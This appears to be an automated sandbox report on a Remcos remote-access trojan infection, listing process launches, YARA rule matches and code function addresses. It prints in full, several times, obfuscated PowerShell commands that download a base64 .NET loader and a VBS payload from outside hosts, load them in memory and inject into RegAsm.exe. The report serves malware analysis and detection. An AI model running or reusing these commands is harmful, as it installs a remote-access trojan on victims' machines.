juxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('g'+'YFurl = '+'C'+'NA'+'htt'+'ps'+':/'+'/ia600100'+'.us.'+'archive.'+'org/24/'+'it'+'ems/'+'deta'+'h-n'+'o'+'te-'+'v/DetahN'+'oteV'+'.'+'txtCNA'+';gYFbase'+'64Content '+'= (Ne'+'w'+'-Obj'+'ec'+'t'+' Syst'+'em.N'+'et'+'.WebClien'+'t)'+'.Download'+'String(gYF'+'url)'+';g'+'YFbinar'+'y'+'Content = '+'[System'+'.Con'+'vert'+']::FromBase64S'+'t'+'ring'+'(gY'+'Fb'+'ase'+'64Cont'+'e'+'n'+'t);g'+'YFa'+'s'+'s'+'embl'+'y = [Refl'+'ec'+'ti'+'on.A'+'ss'+'embly'+']'+'::'+'Load(gYFbi'+'nary'+'Con'+'tent'+');gYFtype = gYFa'+'ssem'+'bly.G'+'etType'+'(CNARunPE'+'.H'+'om'+'eCN'+'A);gYF'+'me'+'th'+'od = gYFt'+'ype.GetMethod(CNAV'+'AICNA);gYFmethod.Invoke(gYF'+'null, [objec'+'t['+']]@(CNAtxt.'+'AZPPHC/54'+'3/841.'+'23.861'+'.'+'401//:ptthCNA , CNAdesativadoCNA , CNAdesativa'+'doCN'+'A ,'+' CN'+'A'+'desativ'+'a'+'doCNA,C'+'NARe'+'gAsmCNA'+',C'+'NACNA'+'))').rEPlaCE('CNA',[strIng][CHar]39).rEPlaCE('gYF','$') \| . ( $eNV:COmspEc[4,26,25]-jOiN'')"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe PoWerSHELl -Ex bYPass -nOp -w 1 -C DEVIcEcRedeNTIaldeplOymeNt.eXe ; IEX($(ieX('[SYstem.TEXt.eNcODiNG]'+[char]0X3a+[CHAR]58+'uTf8.GETSTRiNG([SySTEm.COnveRt]'+[cHAR]0X3A+[CHAR]58+'fRoMbasE64StrinG('+[ChAr]0X22+'JDBGICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlckRFRmlOSXRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhzd0Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdkNBeW1xSFcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0RyLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMUixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBncHlSc3VoKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAia28iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVzUGFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHpncmZ6QmtEbGllICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQwRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguMzIuMTQ4LzM0NS9uaWNlbWVldGluZ3NvZnBpY3R1cmVjbGVhcnRoaW5nc3RvYmUudElGIiwiJGVudjpBUFBEQVRBXG5pY2VtZWV0aW5nc29mcGljdHVyZWNsZWFydGhpbmdzdG9iLlZicyIsMCwwKTtzdGFyVC1zTGVFcCgzKTtTVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcbmljZW1lZXRpbmdzb2ZwaWN0dXJlY2xlYXJ0aGluZ3N0b2IuVmJzIg=='+[CHAr]0x22+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdnJysnWUZ1cmwgPSAnKydDJysnTkEnKydodHQnKydwcycrJzovJysnL2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdmUuJysnb3JnLzI0LycrJ2l0JysnZW1zLycrJ2RldGEnKydoLW4nKydvJysndGUtJysndi9EZXRhaE4nKydvdGVWJysnLicrJ3R4dENOQScrJztnWUZiYXNlJysnNjRDb250ZW50ICcrJz0gKE5lJysndycrJy1PYmonKydlYycrJ3QnKycgU3lzdCcrJ2VtLk4nKydldCcrJy5XZWJDbGllbicrJ3QpJysnLkRvd25sb2FkJysnU3RyaW5nKGdZRicrJ3VybCknKyc7ZycrJ1lGYmluYXInKyd5JysnQ29udGVudCA9ICcrJ1tTeXN0ZW0nKycuQ29uJysndmVydCcrJ106OkZyb21CYXNlNjRTJysndCcrJ3JpbmcnKycoZ1knKydGYicrJ2FzZScrJzY0Q29udCcrJ2UnKyduJysndCk7ZycrJ1lGYScrJ3MnKydzJysnZW1ibCcrJ3kgPSBbUmVmbCcrJ2VjJysndGknKydvbi5BJysnc3MnKydlbWJseScrJ10nKyc6OicrJ0xvYWQoZ1lGYmknKyduYXJ5JysnQ29uJysndGVudCcrJyk7Z1lGdHlwZSA9IGdZRmEnKydzc2VtJysnYmx5LkcnKydldFR5cGUnKycoQ05BUnVuUEUnKycuSCcrJ29tJysnZUNOJysnQSk7Z1lGJysnbWUnKyd0aCcrJ29kID0gZ1lGdCcrJ3lwZS5HZXRNZXRob2QoQ05BVicrJ0FJQ05BKTtnWUZtZXRob2QuSW52b2tlKGdZRicrJ251bGwsIFtvYmplYycrJ3RbJysnXV1AKENOQXR4dC4nKydBWlBQSEMvNTQnKyczLzg0MS4nKycyMy44NjEnKycuJysnNDAxLy86cHR0aENOQSAsIENOQWRlc2F0aXZhZG9DTkEgLCBDTkFkZXNhdGl2YScrJ2RvQ04nKydBICwnKycgQ04nKydBJysnZGVzYXRpdicrJ2EnKydkb0NOQSxDJysnTkFSZScrJ2dBc21DTkEnKycsQycrJ05BQ05BJysnKSknKS5yRVBsYUNFKCdDTkEnLFtzdHJJbmddW0NIYXJdMzkpLnJFUGxhQ0UoJ2dZRicsJyQnKSB8IC4gKCAkZU5WOkNPbXNwRWNbNCwyNiwyNV0tak9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('g'+'YFurl = '+'C'+'NA'+'htt'+'ps'+':/'+'/ia600100'+'.us.'+'archive.'+'org/24/'+'it'+'ems/'+'deta'+'h-n'+'o'+'te-'+'v/DetahN'+'oteV'+'.'+'txtCNA'+';gYFbase'+'64Content '+'= (Ne'+'w'+'-Obj'+'ec'+'t'+' Syst'+'em.N'+'et'+'.WebClien'+'t)'+'.Download'+'String(gYF'+'url)'+';g'+'YFbinar'+'y'+'Content = '+'[System'+'.Con'+'vert'+']::FromBase64S'+'t'+'ring'+'(gY'+'Fb'+'ase'+'64Cont'+'e'+'n'+'t);g'+'YFa'+'s'+'s'+'embl'+'y = [Refl'+'ec'+'ti'+'on.A'+'ss'+'embly'+']'+'::'+'Load(gYFbi'+'nary'+'Con'+'tent'+');gYFtype = gYFa'+'ssem'+'bly.G'+'etType'+'(CNARunPE'+'.H'+'om'+'eCN'+'A);gYF'+'me'+'th'+'od = gYFt'+'ype.GetMethod(CNAV'+'AICNA);gYFmethod.Invoke(gYF'+'null, [objec'+'t['+']]@(CNAtxt.'+'AZPPHC/54'+'3/841.'+'23.861'+'.'+'401//:ptthCNA , CNAdesativadoCNA , CNAdesativa'+'doCN'+'A ,'+' CN'+'A'+'desativ'+'a'+'doCNA,C'+'NARe'+'gAsmCNA'+',C'+'NACNA'+'))').rEPlaCE('CNA',[strIng][CHar]39).rEPlaCE('gYF','$') \| . ( $eNV:COmspEc[4,26,25]-jOiN'')"	Jump to behavior

Malicious sample detected (through community Yara rule)

Source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 9.2.powershell.exe.66ba028.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 9.2.powershell.exe.66ba028.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 9.2.powershell.exe.66ba028.1.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 9.2.powershell.exe.66ba028.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 9.2.powershell.exe.66ba028.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0000000B.00000002.4499091602.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 0000000B.00000002.4499091602.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 0000000B.00000002.4499091602.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000009.00000002.2263876284.0000000005F8B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000009.00000002.2263876284.0000000006395000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: powershell.exe PID: 6128, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 1672, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: powershell.exe PID: 1672, type: MEMORYSTR	Matched rule: Detects Invoke-Mimikatz String Author: Florian Roth
Source: Process Memory Space: powershell.exe PID: 1672, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: RegAsm.exe PID: 6020, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe PoWerSHELl -Ex bYPass -nOp -w 1 -C DEVIcEcRedeNTIaldeplOymeNt.eXe ; IEX($(ieX('[SYstem.TEXt.eNcODiNG]'+[char]0X3a+[CHAR]58+'uTf8.GETSTRiNG([SySTEm.COnveRt]'+[cHAR]0X3A+[CHAR]58+'fRoMbasE64StrinG('+[ChAr]0X22+'JDBGICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlckRFRmlOSXRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhzd0Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdkNBeW1xSFcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0RyLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMUixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBncHlSc3VoKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAia28iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVzUGFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHpncmZ6QmtEbGllICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQwRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguMzIuMTQ4LzM0NS9uaWNlbWVldGluZ3NvZnBpY3R1cmVjbGVhcnRoaW5nc3RvYmUudElGIiwiJGVudjpBUFBEQVRBXG5pY2VtZWV0aW5nc29mcGljdHVyZWNsZWFydGhpbmdzdG9iLlZicyIsMCwwKTtzdGFyVC1zTGVFcCgzKTtTVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcbmljZW1lZXRpbmdzb2ZwaWN0dXJlY2xlYXJ0aGluZ3N0b2IuVmJzIg=='+[CHAr]0x22+'))')))"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdnJysnWUZ1cmwgPSAnKydDJysnTkEnKydodHQnKydwcycrJzovJysnL2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdmUuJysnb3JnLzI0LycrJ2l0JysnZW1zLycrJ2RldGEnKydoLW4nKydvJysndGUtJysndi9EZXRhaE4nKydvdGVWJysnLicrJ3R4dENOQScrJztnWUZiYXNlJysnNjRDb250ZW50ICcrJz0gKE5lJysndycrJy1PYmonKydlYycrJ3QnKycgU3lzdCcrJ2VtLk4nKydldCcrJy5XZWJDbGllbicrJ3QpJysnLkRvd25sb2FkJysnU3RyaW5nKGdZRicrJ3VybCknKyc7ZycrJ1lGYmluYXInKyd5JysnQ29udGVudCA9ICcrJ1tTeXN0ZW0nKycuQ29uJysndmVydCcrJ106OkZyb21CYXNlNjRTJysndCcrJ3JpbmcnKycoZ1knKydGYicrJ2FzZScrJzY0Q29udCcrJ2UnKyduJysndCk7ZycrJ1lGYScrJ3MnKydzJysnZW1ibCcrJ3kgPSBbUmVmbCcrJ2VjJysndGknKydvbi5BJysnc3MnKydlbWJseScrJ10nKyc6OicrJ0xvYWQoZ1lGYmknKyduYXJ5JysnQ29uJysndGVudCcrJyk7Z1lGdHlwZSA9IGdZRmEnKydzc2VtJysnYmx5LkcnKydldFR5cGUnKycoQ05BUnVuUEUnKycuSCcrJ29tJysnZUNOJysnQSk7Z1lGJysnbWUnKyd0aCcrJ29kID0gZ1lGdCcrJ3lwZS5HZXRNZXRob2QoQ05BVicrJ0FJQ05BKTtnWUZtZXRob2QuSW52b2tlKGdZRicrJ251bGwsIFtvYmplYycrJ3RbJysnXV1AKENOQXR4dC4nKydBWlBQSEMvNTQnKyczLzg0MS4nKycyMy44NjEnKycuJysnNDAxLy86cHR0aENOQSAsIENOQWRlc2F0aXZhZG9DTkEgLCBDTkFkZXNhdGl2YScrJ2RvQ04nKydBICwnKycgQ04nKydBJysnZGVzYXRpdicrJ2EnKydkb0NOQSxDJysnTkFSZScrJ2dBc21DTkEnKycsQycrJ05BQ05BJysnKSknKS5yRVBsYUNFKCdDTkEnLFtzdHJJbmddW0NIYXJdMzkpLnJFUGxhQ0UoJ2dZRicsJyQnKSB8IC4gKCAkZU5WOkNPbXNwRWNbNCwyNiwyNV0tak9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe PoWerSHELl -Ex bYPass -nOp -w 1 -C DEVIcEcRedeNTIaldeplOymeNt.eXe ; IEX($(ieX('[SYstem.TEXt.eNcODiNG]'+[char]0X3a+[CHAR]58+'uTf8.GETSTRiNG([SySTEm.COnveRt]'+[cHAR]0X3A+[CHAR]58+'fRoMbasE64StrinG('+[ChAr]0X22+'JDBGICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlckRFRmlOSXRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhzd0Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdkNBeW1xSFcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0RyLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMUixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBncHlSc3VoKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAia28iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVzUGFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHpncmZ6QmtEbGllICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQwRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguMzIuMTQ4LzM0NS9uaWNlbWVldGluZ3NvZnBpY3R1cmVjbGVhcnRoaW5nc3RvYmUudElGIiwiJGVudjpBUFBEQVRBXG5pY2VtZWV0aW5nc29mcGljdHVyZWNsZWFydGhpbmdzdG9iLlZicyIsMCwwKTtzdGFyVC1zTGVFcCgzKTtTVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcbmljZW1lZXRpbmdzb2ZwaWN0dXJlY2xlYXJ0aGluZ3N0b2IuVmJzIg=='+[CHAr]0x22+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdnJysnWUZ1cmwgPSAnKydDJysnTkEnKydodHQnKydwcycrJzovJysnL2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdmUuJysnb3JnLzI0LycrJ2l0JysnZW1zLycrJ2RldGEnKydoLW4nKydvJysndGUtJysndi9EZXRhaE4nKydvdGVWJysnLicrJ3R4dENOQScrJztnWUZiYXNlJysnNjRDb250ZW50ICcrJz0gKE5lJysndycrJy1PYmonKydlYycrJ3QnKycgU3lzdCcrJ2VtLk4nKydldCcrJy5XZWJDbGllbicrJ3QpJysnLkRvd25sb2FkJysnU3RyaW5nKGdZRicrJ3VybCknKyc7ZycrJ1lGYmluYXInKyd5JysnQ29udGVudCA9ICcrJ1tTeXN0ZW0nKycuQ29uJysndmVydCcrJ106OkZyb21CYXNlNjRTJysndCcrJ3JpbmcnKycoZ1knKydGYicrJ2FzZScrJzY0Q29udCcrJ2UnKyduJysndCk7ZycrJ1lGYScrJ3MnKydzJysnZW1ibCcrJ3kgPSBbUmVmbCcrJ2VjJysndGknKydvbi5BJysnc3MnKydlbWJseScrJ10nKyc6OicrJ0xvYWQoZ1lGYmknKyduYXJ5JysnQ29uJysndGVudCcrJyk7Z1lGdHlwZSA9IGdZRmEnKydzc2VtJysnYmx5LkcnKydldFR5cGUnKycoQ05BUnVuUEUnKycuSCcrJ29tJysnZUNOJysnQSk7Z1lGJysnbWUnKyd0aCcrJ29kID0gZ1lGdCcrJ3lwZS5HZXRNZXRob2QoQ05BVicrJ0FJQ05BKTtnWUZtZXRob2QuSW52b2tlKGdZRicrJ251bGwsIFtvYmplYycrJ3RbJysnXV1AKENOQXR4dC4nKydBWlBQSEMvNTQnKyczLzg0MS4nKycyMy44NjEnKycuJysnNDAxLy86cHR0aENOQSAsIENOQWRlc2F0aXZhZG9DTkEgLCBDTkFkZXNhdGl2YScrJ2RvQ04nKydBICwnKycgQ04nKydBJysnZGVzYXRpdicrJ2EnKydkb0NOQSxDJysnTkFSZScrJ2dBc21DTkEnKycsQycrJ05BQ05BJysnKSknKS5yRVBsYUNFKCdDTkEnLFtzdHJJbmddW0NIYXJdMzkpLnJFUGxhQ0UoJ2dZRicsJyQnKSB8IC4gKCAkZU5WOkNPbXNwRWNbNCwyNiwyNV0tak9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_004167EF ExitWindowsEx,LoadLibraryA,GetProcAddress,

11_2_004167EF

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_03741D6A	3_2_03741D6A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_04D81865	7_2_04D81865
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_04D8155D	7_2_04D8155D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_04D81E62	7_2_04D81E62
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_04D80E25	7_2_04D80E25
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_04D8176A	7_2_04D8176A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_04D81725	7_2_04D81725
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_04AE6198	9_2_04AE6198
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_04AEF1D8	9_2_04AEF1D8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_04AEF238	9_2_04AEF238
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_04AEF51E	9_2_04AEF51E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_04AE1D68	9_2_04AE1D68
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_04AEF57D	9_2_04AEF57D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_04AE8E88	9_2_04AE8E88
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_04AE8E98	9_2_04AE8E98
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_04AEF60D	9_2_04AEF60D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_04AEE888	9_2_04AEE888
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_04AEE878	9_2_04AEE878
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_04AE6188	9_2_04AE6188
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_04AE0A98	9_2_04AE0A98
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_04AEF228	9_2_04AEF228
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_04AE8BB8	9_2_04AE8BB8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_04AE8BE0	9_2_04AE8BE0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_04AE930F	9_2_04AE930F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_04AE0B6A	9_2_04AE0B6A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0043706A	11_2_0043706A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00414005	11_2_00414005
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0043E11C	11_2_0043E11C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_004541D9	11_2_004541D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_004381E8	11_2_004381E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0041F18B	11_2_0041F18B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00446270	11_2_00446270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0043E34B	11_2_0043E34B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_004533AB	11_2_004533AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0042742E	11_2_0042742E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00437566	11_2_00437566
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0043E5A8	11_2_0043E5A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_004387F0	11_2_004387F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0043797E	11_2_0043797E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_004339D7	11_2_004339D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0044DA49	11_2_0044DA49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00427AD7	11_2_00427AD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0041DBF3	11_2_0041DBF3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00427C40	11_2_00427C40
